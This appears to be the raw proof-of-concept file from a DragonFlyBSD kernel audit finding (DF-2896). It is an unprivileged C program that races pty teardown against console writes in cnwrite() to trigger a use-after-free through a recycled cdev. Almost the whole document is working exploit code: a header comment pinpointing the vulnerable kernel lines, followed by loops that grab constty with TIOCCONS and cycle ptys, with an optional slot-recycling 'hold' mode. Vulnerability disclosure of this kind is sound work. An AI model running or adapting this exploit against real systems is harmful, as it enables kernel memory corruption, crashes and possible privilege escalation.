DragonFlyBSD Kernel Audit
DF-2896 / racer.c
← back to finding ↓ download raw
/*
 * DF-2896 racer (UNPRIVILEGED)
 *
 * Rapidly cycles constty between "our pty" and NULL while tearing the
 * pty's cdev down, racing root /dev/console writers whose cnwrite()
 * captured constty->t_dev and are sleeping in log_console().
 *
 * sys/kern/tty_cons.c:cnwrite():
 *      if (constty)
 *              dev = constty->t_dev;      <-- captured, no ref, no token
 *      ...
 *      log_console(uio);                  <-- sleeps / runs for ms
 *      ap->a_head.a_dev = dev;
 *      return (dev_doperate(&ap->a_head)); <-- dispatch through possibly
 *                                                 destroyed+recycled cdev
 *
 * Teardown we race against (all under pti->pt_tty.t_token, which cnwrite
 * does NOT hold):
 *   ptsclose -> ttyclose: constty = NULL            (kern/tty.c:251)
 *   ptcclose -> pti_done: t_dev = NULL;             (kern/tty_pty.c:289)
 *                        destroy_dev(devs/devc)     (kern/tty_pty.c:284)
 *   devfs thread -> release_dev x3 -> cdev freed (sysref), slot recycled
 *   next pty open -> sysref_alloc + bzero(< si_sysref) => si_ops == NULL
 *                                                 transiently (devfs_core.c)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define NKEEP		600		/* ptys held per generation (mode hold) */
#define HOLD_MS		12

static int mode_hold;

static void
hold_generation(void)
{
	static int kept[NKEEP];
	int i, n = 0;

	while (n < NKEEP) {
		int m = open("/dev/ptmx", O_RDWR);
		if (m < 0) {
			usleep(2000);
			continue;
		}
		if (grantpt(m) == 0 && unlockpt(m) == 0) {
			char name[64], *pn = ptsname(m);
			int s = -1;
			if (pn) {
				snprintf(name, sizeof(name), "%s", pn);
				s = open(name, O_RDWR | O_NONBLOCK);
			}
			if (s >= 0) {
				kept[n++] = s;
				continue;	/* keep slave, close master */
			}
		}
		close(m);
	}
	/* generation complete: hold briefly, then release everything so
	 * the slots cycle back and a new generation re-inits them */
	usleep(50000);
	for (i = 0; i < n; i++)
		close(kept[i]);
}

static void
drain(int fd)
{
	char buf[4096];
	int n;

	do {
		n = read(fd, buf, sizeof(buf));
	} while (n == (int)sizeof(buf));
}

int
main(int argc, char **argv)
{
	unsigned long iters = 0;
	useconds_t hold = HOLD_MS * 1000;
	int i;

	if (argc > 2 && strcmp(argv[2], "hold") == 0)
		mode_hold = 1;
	if (argc > 1)
		hold = (useconds_t)atoi(argv[1]) * 1000;

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("racer: uid=%d mode=%s hold=%dus\n", getuid(),
	    mode_hold ? "hold" : "cycle", hold);

	if (mode_hold) {
		for (;;)
			hold_generation();
	}

	for (;;) {
		int m, s, on = 1;
		char name[64], *pn;

		m = open("/dev/ptmx", O_RDWR);
		if (m < 0) {
			if ((iters & 0x3f) == 0) perror("open ptmx");
			usleep(10000);
			continue;
		}
		if (grantpt(m) || unlockpt(m)) { close(m); continue; }
		pn = ptsname(m);
		if (pn == NULL) { close(m); continue; }
		snprintf(name, sizeof(name), "%s", pn);
		s = open(name, O_RDWR | O_NONBLOCK);
		if (s < 0) { close(m); continue; }

		if (ioctl(s, TIOCCONS, &on) < 0) {
			/* EBUSY when another constty lingers: retry */
			if ((iters & 0x3f) == 0)
				printf("TIOCCONS: %s\n", strerror(errno));
			close(s); close(m);
			usleep(200);
			continue;
		}

		/*
		 * constty == our tty for the hold window; drain the master
		 * so forwarded console writes do not block, then tear it
		 * down and IMMEDIATELY re-attach constty on the next pty so
		 * the serial console is exposed only for the tiny gap.
		 */
		usleep(hold);
		drain(m);
		close(s);
		close(m);

		iters++;
		if ((iters & 0x3f) == 0)
			printf("racer: %lu iterations\n", iters);
	}
}